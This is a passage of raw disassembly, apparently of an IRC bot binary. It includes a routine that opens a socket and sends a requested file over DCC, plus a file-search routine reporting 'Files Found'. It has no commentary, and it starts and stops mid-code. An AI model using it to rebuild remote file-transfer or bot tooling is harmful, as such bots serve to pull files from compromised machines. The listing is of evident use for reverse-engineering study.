ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BC70 proc near ; CODE XREF: sub_401BF4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021CB sub_40BC70 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BCB0 proc near ; CODE XREF: sub_401555j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FCD sub_40BCB0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD20 proc near ; CODE XREF: sub_401451j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4020F9 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD60 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_401906j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C71 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C49 sub_40BD90 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BDD0 proc near ; CODE XREF: sub_401BEFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BDD0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE20 proc near ; CODE XREF: sub_40153Cj push esi mov esi, ecx call sub_40213A mov eax, esi pop esi retn sub_40BE20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401F5Aj mov eax, [ecx] push eax call sub_401839 add esp, 4 retn sub_40BE40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE60 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_4020F9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BE60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE90 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CE9 neg al sbb eax, eax inc eax retn 4 sub_40BE90 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BEC0 proc near ; CODE XREF: sub_401C49j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016A4 mov edi, eax push edi call sub_40213F mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021CB sub_40BEC0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40213F push edi mov [eax], ebx call sub_40213F mov edi, [eax] push edi call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401839 add esp, 4 mov ecx, esi push eax call sub_401F14 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_4014A6 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF60 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40BFBA loc_40BF78: ; CODE XREF: sub_40BF60+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B86 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40BF78 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40BF60+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40BF60 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFF0 proc near ; CODE XREF: sub_4021CBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_40155F sub_40BFF0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C005 mov edi, esi loc_40C005: ; CODE XREF: ___:0040C001j push esi call sub_4020F9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C01A mov edi, esi loc_40C01A: ; CODE XREF: ___:0040C016j push esi call sub_40213F add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C040 proc near ; CODE XREF: sub_401FCDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402059 sub_40C040 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C060 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C060 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C080 proc near ; CODE XREF: sub_401839j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C080 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0A0 proc near ; CODE XREF: sub_40213Aj mov eax, ecx retn sub_40C0A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0C0 proc near ; CODE XREF: sub_4014A6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C0C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0F0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C0F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B86 mov ecx, eax call sub_4016A4 mov esi, eax push esi call sub_4020F9 push esi mov ebx, eax call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [ebx] push esi mov [eax], edx call sub_40213F push esi mov ebx, eax call sub_4020F9 mov eax, [eax] push eax call sub_40213F mov ecx, [ebx] push esi mov [eax], ecx call sub_401839 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FCD sub_40C120 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1E0 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C1E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40155Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_40C200 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C230 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40C230 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C250 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C280 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2A0 proc near ; CODE XREF: sub_4016A4j mov eax, [ecx] retn sub_40C2A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C2C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2F0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C2F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C310 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C32B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C32B: ; CODE XREF: sub_40C310+11j retn sub_40C310 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C360 proc near ; CODE XREF: sub_401BE5j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_40C360 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C400 proc near ; CODE XREF: sub_401712j var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C400 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014D3 mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40C94E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_443600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40200E lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C4CC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx nop call sub_5EDAB2 add esp, 8 jmp loc_40C8F5 ; --------------------------------------------------------------------------- loc_40C4CC: ; CODE XREF: sub_40C400+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx nop call near ptr 71AB2B66h mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi nop call near ptr 71AB3E00h test eax, eax jz short loc_40C51A lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C5C0 ; --------------------------------------------------------------------------- loc_40C51A: ; CODE XREF: sub_40C400+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h call near ptr 71AB951Eh nop mov edx, [esp+0ABCh+var_AA0+2] push edx nop call near ptr 71AB2B66h lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014D3 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C573: ; CODE XREF: sub_40C400+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C585 mov eax, 5Fh jmp short loc_40C588 ; --------------------------------------------------------------------------- loc_40C585: ; CODE XREF: sub_40C400+17Cj movsx eax, al loc_40C588: ; CODE XREF: sub_40C400+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C573 push 1 push ebx call near ptr 71AB88D3h nop test eax, eax jz short loc_40C5DD lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C5C0: ; CODE XREF: sub_40C400+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C5DD: ; CODE XREF: sub_40C400+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017E4 push eax call near ptr 2860000h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C644 lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx call sub_5EDAB2 nop add esp, 8 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C644: ; CODE XREF: sub_40C400+201j push 0 push esi nop call near ptr 2850C46h lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_401424 mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D60CD push eax call sub_401DF7 add esp, 4 push eax nop call near ptr 71AB2BF4h push eax nop call near ptr 71AB2BC0h push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017E4 push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_443A30 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_401681 push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 nop call near ptr 71AB2DC0h test eax, eax jg short loc_40C73D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C73D: ; CODE XREF: sub_40C400+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C78D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C78D: ; CODE XREF: sub_40C400+360j push edi call near ptr 71AB9639h nop test ebx, ebx jz loc_40C845 loc_40C79C: ; CODE XREF: sub_40C400+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C7A7 mov ebp, ebx loc_40C7A7: ; CODE XREF: sub_40C400+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd nop call near ptr 2850000h lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi call near ptr 284044Eh nop mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax call near ptr 71AB428Ah nop mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp call near ptr 71AB615Ah nop cmp eax, 1 jl loc_40C90E cmp edi, 1 jl loc_40C90E sub ebx, edi jnz loc_40C79C mov ebp, [esp+0ABCh+arg_0] loc_40C845: ; CODE XREF: sub_40C400+396j push esi nop call near ptr 2840000h lea ecx, [esp+0AB8h+var_A38] call sub_401424 mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014D3 mov edx, [esp+0AC0h+var_A1C] push eax push edx call near ptr 71AB3F41h nop push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014D3 push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C8DA: ; CODE XREF: sub_40C400+338j ; sub_40C400+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C8EF: ; CODE XREF: sub_40C400+1D8j ; sub_40C400+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C8FC loc_40C8F5: ; CODE XREF: sub_40C400+C7j push ebx nop call near ptr 71AB9639h loc_40C8FC: ; CODE XREF: sub_40C400+4F3j mov eax, [esp+0ABCh+var_A74] push eax call near ptr 71AB9639h nop push esi nop call near ptr 28304B8h loc_40C90E: ; CODE XREF: sub_40C400+427j ; sub_40C400+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx nop call near ptr 71AB9639h push 1 nop call near ptr 28304B8h loc_40C94E: ; CODE XREF: sub_40C400+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C400 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CAD0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_401424 mov eax, esi pop esi retn sub_40CAD0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CAF0: ; CODE XREF: ___:loc_401AFFj add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CB10 proc near ; CODE XREF: sub_402045j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CB10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_40CB10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401BA4j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CBB0 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014D3 mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CDAE push ebx lea ecx, [esp+284h+var_260] call sub_40198D lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40200E push 1 push offset asc_443600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+288h+var_247] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_443600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017E4 push eax lea ecx, [esp+288h+var_232] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E2E push offset asc_443B04 ; "\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CD2B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E2E push offset dword_446F74 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CD2B: ; CODE XREF: sub_40CBB0+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014D3 push eax lea ecx, [esp+28Ch+var_247] call sub_4014D3 push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_401681 mov ecx, [esp+294h+var_260] push eax push ecx call sub_402257 add esp, 18h lea edx, [esp+284h+var_20C] push eax push offset aFilesFoundD ; "Files Found: %d" push edx call sub_5EDAB2 nop mov eax, [esp+28Ch+var_211] add esp, 0Ch cmp eax, ebx jnz short loc_40CD99 mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_401681 mov edx, [esp+288h+var_25C] push eax push edx call sub_401523 add esp, 10h loc_40CD99: ; CODE XREF: sub_40CBB0+1C6j mov eax, [esp+280h+var_219] push eax call sub_401E24 add 